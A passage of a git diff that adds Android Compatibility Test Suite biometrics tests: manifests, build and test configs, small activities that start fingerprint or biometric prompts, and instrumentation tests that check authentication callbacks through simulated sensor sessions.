+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.biometrics.cts">
+
+    <application>
+        <uses-library android:name="android.test.runner" />
+
+        <provider android:name="android.server.wm.TestJournalProvider"
+            android:authorities="android.server.wm.testjournalprovider"
+            android:exported="true"/>
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.server.biometrics.cts"
+        android:label="CTS tests for Biometrics">
+        <meta-data android:name="listener"
+            android:value="com.android.cts.runner.CtsTestRunListener" />
+    </instrumentation>
+
+</manifest>
diff --git a/tests/framework/base/biometrics/AndroidTest.xml b/tests/framework/base/biometrics/AndroidTest.xml
new file mode 100644
index 0000000..1e7854c
--- /dev/null
+++ b/tests/framework/base/biometrics/AndroidTest.xml
@@ -0,0 +1,35 @@
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<configuration description="Config for CTS Hardware test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsBiometricsTestCases.apk" />
+        <option name="test-file-name" value="CtsBiometricServiceTestApp.apk" />
+        <option name="test-file-name" value="CtsFingerprintServiceTestApp.apk" />
+    </target_preparer>
+    <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+        <option name="package" value="android.server.biometrics.cts" />
+        <option name="runtime-hint" value="14s" />
+        <!-- test-timeout unit is ms, value = 1 min -->
+        <option name="test-timeout" value="60000" />
+    </test>
+</configuration>
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/OWNERS b/tests/framework/base/biometrics/OWNERS
new file mode 100644
index 0000000..15711bb
--- /dev/null
+++ b/tests/framework/base/biometrics/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 879035
+kchyn@google.com
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/Android.bp b/tests/framework/base/biometrics/apps/biometrics/Android.bp
new file mode 100644
index 0000000..151e79b
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsBiometricServiceTestApp",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: [
+        "cts-biometric-util",
+        "cts-wm-app-base",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    sdk_version: "test_current",
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/framework/base/biometrics/apps/biometrics/AndroidManifest.xml b/tests/framework/base/biometrics/apps/biometrics/AndroidManifest.xml
new file mode 100644
index 0000000..33ff7b5
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/AndroidManifest.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.biometrics">
+
+    <uses-permission android:name="android.permission.USE_BIOMETRIC"/>
+
+    <application>
+        <activity android:name="android.server.biometrics.Class2BiometricOrCredentialActivity"
+            android:exported="true"/>
+        <activity android:name="android.server.biometrics.Class2BiometricActivity"
+            android:exported="true"/>
+        <activity android:name="android.server.biometrics.Class3BiometricActivity"
+            android:exported="true"/>
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/OWNERS b/tests/framework/base/biometrics/apps/biometrics/OWNERS
new file mode 100644
index 0000000..15711bb
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 879035
+kchyn@google.com
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricActivity.java b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricActivity.java
new file mode 100644
index 0000000..438b4f6
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricActivity.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test app that invokes authentication in onCreate
+ */
+public class Class2BiometricActivity extends Activity {
+    private static final String TAG = "Class2BiometricActivity";
+
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricCallbackHelper callbackHelper = new BiometricCallbackHelper(this);
+
+        final BiometricPrompt bp = new BiometricPrompt.Builder(this)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setNegativeButton("Negative Button", executor, (dialog, which) -> {
+                    callbackHelper.onNegativeButtonPressed();
+                })
+                .setAllowedAuthenticators(BiometricManager.Authenticators.BIOMETRIC_WEAK)
+                .build();
+
+        bp.authenticate(new CancellationSignal(), executor, callbackHelper);
+    }
+}
diff --git a/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricOrCredentialActivity.java b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricOrCredentialActivity.java
new file mode 100644
index 0000000..be3b0dd
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class2BiometricOrCredentialActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+/**
+ * Test app that invokes authentication in onCreate
+ */
+public class Class2BiometricOrCredentialActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricCallbackHelper callbackHelper = new BiometricCallbackHelper(this);
+
+        final BiometricPrompt bp = new BiometricPrompt.Builder(this)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setAllowedAuthenticators(BiometricManager.Authenticators.BIOMETRIC_WEAK
+                        | BiometricManager.Authenticators.DEVICE_CREDENTIAL)
+                .build();
+
+        bp.authenticate(new CancellationSignal(), executor, callbackHelper);
+    }
+}
diff --git a/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class3BiometricActivity.java b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class3BiometricActivity.java
new file mode 100644
index 0000000..2aaf49c
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/biometrics/src/android/server/biometrics/Class3BiometricActivity.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+import android.os.Handler;
+import android.os.Looper;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.Executor;
+
+public class Class3BiometricActivity extends Activity {
+    private static final String TAG = "Class3BiometricActivity";
+
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final Handler handler = new Handler(Looper.getMainLooper());
+        final Executor executor = handler::post;
+        final BiometricCallbackHelper callbackHelper = new BiometricCallbackHelper(this);
+
+        final BiometricPrompt bp = new BiometricPrompt.Builder(this)
+                .setTitle("Title")
+                .setSubtitle("Subtitle")
+                .setDescription("Description")
+                .setNegativeButton("Negative Button", executor, (dialog, which) -> {
+                    callbackHelper.onNegativeButtonPressed();
+                })
+                .setAllowedAuthenticators(BiometricManager.Authenticators.BIOMETRIC_STRONG)
+                .build();
+
+        bp.authenticate(new CancellationSignal(), executor, callbackHelper);
+    }
+}
diff --git a/tests/framework/base/biometrics/apps/fingerprint/Android.bp b/tests/framework/base/biometrics/apps/fingerprint/Android.bp
new file mode 100644
index 0000000..381d669
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test {
+    name: "CtsFingerprintServiceTestApp",
+    defaults: ["cts_support_defaults"],
+
+    static_libs: [
+        "cts-biometric-util",
+        "cts-wm-app-base",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+
+    sdk_version: "test_current",
+
+    test_suites: [
+        "cts",
+        "vts10",
+        "general-tests",
+    ],
+}
diff --git a/tests/framework/base/biometrics/apps/fingerprint/AndroidManifest.xml b/tests/framework/base/biometrics/apps/fingerprint/AndroidManifest.xml
new file mode 100644
index 0000000..670f19a
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/AndroidManifest.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.biometrics.fingerprint">
+
+    <uses-permission android:name="android.permission.USE_BIOMETRIC"/>
+
+    <application>
+        <activity android:name="android.server.biometrics.fingerprint.AuthOnCreateActivity"
+            android:exported="true"/>
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/fingerprint/OWNERS b/tests/framework/base/biometrics/apps/fingerprint/OWNERS
new file mode 100644
index 0000000..15711bb
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 879035
+kchyn@google.com
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/fingerprint/src/android/server/biometrics/fingerprint/AuthOnCreateActivity.java b/tests/framework/base/biometrics/apps/fingerprint/src/android/server/biometrics/fingerprint/AuthOnCreateActivity.java
new file mode 100644
index 0000000..85a9230
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/src/android/server/biometrics/fingerprint/AuthOnCreateActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import android.app.Activity;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Test app that invokes authentication in onCreate
+ */
+@SuppressWarnings("deprecation")
+public class AuthOnCreateActivity extends Activity {
+    private static final String TAG = "AuthOnCreateActivity";
+
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final FingerprintManager fpm = getSystemService(FingerprintManager.class);
+        fpm.authenticate(null /* crypto */, new CancellationSignal(), 0 /* flags */,
+                new FingerprintCallbackHelper(this), null /* handler */);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/ActivitySession.java b/tests/framework/base/biometrics/src/android/server/biometrics/ActivitySession.java
new file mode 100644
index 0000000..1ce0673
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/ActivitySession.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.content.ComponentName;
+
+import androidx.annotation.NonNull;
+
+/**
+ * Allows tests to start test activities, but also ensures they are automatically cleaned up.
+ */
+public class ActivitySession implements AutoCloseable {
+
+    @NonNull
+    private final BiometricTestBase mTest;
+    @NonNull
+    private final ComponentName mComponentName;
+
+    public ActivitySession(@NonNull BiometricTestBase test, @NonNull ComponentName componentName) {
+        mTest = test;
+        mComponentName = componentName;
+    }
+
+    public void start() {
+        mTest.launchActivity(mComponentName);
+    }
+
+    @Override
+    public void close() throws Exception {
+        Utils.forceStopActivity(mComponentName);
+    }
+
+    @NonNull
+    ComponentName getComponentName() {
+        return mComponentName;
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
new file mode 100644
index 0000000..d0dace5
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricActivityTests.java
@@ -0,0 +1,382 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_ACTIVITY;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
+
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_PAUSED;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_STARTED_UI_SHOWING;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_SHOWING_DEVICE_CREDENTIAL;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeTrue;
+
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.TestJournalProvider;
+import android.server.wm.WindowManagerState;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import org.junit.Test;
+
+/**
+ * Tests that require the use of a test activity.
+ */
+@Presubmit
+public class BiometricActivityTests extends BiometricTestBase {
+    private static final String TAG = "BiometricTests/Activity";
+
+    @Test
+    public void testBiometricOnly_authenticateFromForegroundActivity() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                 ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_authenticateFromForegroundActivity_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_authenticateFromForegroundActivity_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_authenticateFromForegroundActivity_forSensor: " + sensorId);
+        final int userId = 0;
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+        final TestJournalProvider.TestJournal journal = TestJournalProvider.TestJournalContainer
+                .get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+
+        // The sensor being tested should not be idle
+        BiometricServiceState state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+
+        // Nothing happened yet
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+
+        // Auth and check again now
+        successfullyAuthenticate(session, userId);
+
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertTrue(callbackState.toString(), callbackState.mErrorsReceived.isEmpty());
+        assertTrue(callbackState.toString(), callbackState.mAcquiredReceived.isEmpty());
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+    }
+
+    @Test
+    public void testBiometricOnly_rejectThenErrorFromForegroundActivity() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                 ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_rejectThenErrorFromForegroundActivity_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_rejectThenErrorFromForegroundActivity_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_rejectThenErrorFromForegroundActivity_forSensor: "
+                + sensorId);
+        final int userId = 0;
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        BiometricServiceState state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+
+        // Biometric rejected
+        session.rejectAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+
+        state = getCurrentState();
+        Log.d(TAG, "State after rejectAuthentication: " + state);
+        if (state.mState == STATE_AUTH_PAUSED) {
+            findAndPressButton(BUTTON_ID_TRY_AGAIN);
+            mInstrumentation.waitForIdleSync();
+            waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+        }
+
+        // Send an error
+        session.notifyError(userId, BiometricPrompt.BIOMETRIC_ERROR_CANCELED);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 1, callbackState.mErrorsReceived.size());
+        assertEquals(callbackState.toString(), BiometricPrompt.BIOMETRIC_ERROR_CANCELED,
+                (int) callbackState.mErrorsReceived.get(0));
+    }
+
+    @Test
+    public void testBiometricOnly_rejectThenAuthenticate() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                 ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_rejectThenAuthenticate_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_rejectThenAuthenticate_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_rejectThenAuthenticate_forSensor: " + sensorId);
+
+        final int userId = 0;
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+
+        final TestJournalProvider.TestJournal journal =
+                TestJournalProvider.TestJournalContainer.get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        BiometricServiceState state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+
+        session.rejectAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+
+        state = getCurrentState();
+        Log.d(TAG, "State after rejectAuthentication: " + state);
+        if (state.mState == STATE_AUTH_PAUSED) {
+            findAndPressButton(BUTTON_ID_TRY_AGAIN);
+            mInstrumentation.waitForIdleSync();
+            waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+        }
+
+        // Accept authentication and end
+        successfullyAuthenticate(session, userId);
+
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertTrue(callbackState.toString(), callbackState.mErrorsReceived.isEmpty());
+        assertTrue(callbackState.toString(), callbackState.mAcquiredReceived.isEmpty());
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
+    }
+
+    @Test
+    public void testBiometricOnly_negativeButtonInvoked() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                 ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_negativeButtonInvoked_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_negativeButtonInvoked_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_negativeButtonInvoked_forSensor: " + sensorId);
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+        final TestJournalProvider.TestJournal journal = TestJournalProvider.TestJournalContainer
+                .get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        BiometricServiceState state = getCurrentState();
+        assertFalse(state.toString(), state.mSensorStates.areAllSensorsIdle());
+        assertFalse(state.toString(), callbackState.mNegativeButtonPressed);
+
+        // Press the negative button
+        findAndPressButton(BUTTON_ID_NEGATIVE);
+
+        callbackState = getCallbackState(journal);
+        assertTrue(callbackState.toString(), callbackState.mNegativeButtonPressed);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+    }
+
+
+    @Test
+    public void testBiometricOrCredential_credentialButtonInvoked_biometricEnrolled()
+            throws Exception {
+        // Test behavior for each sensor when biometrics are enrolled
+        try (CredentialSession credentialSession = new CredentialSession()) {
+            credentialSession.setCredential();
+            for (SensorProperties prop : mSensorProperties) {
+                try (BiometricTestSession session =
+                             mBiometricManager.createTestSession(prop.getSensorId());
+                     ActivitySession activitySession =
+                             new ActivitySession(this, CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY)) {
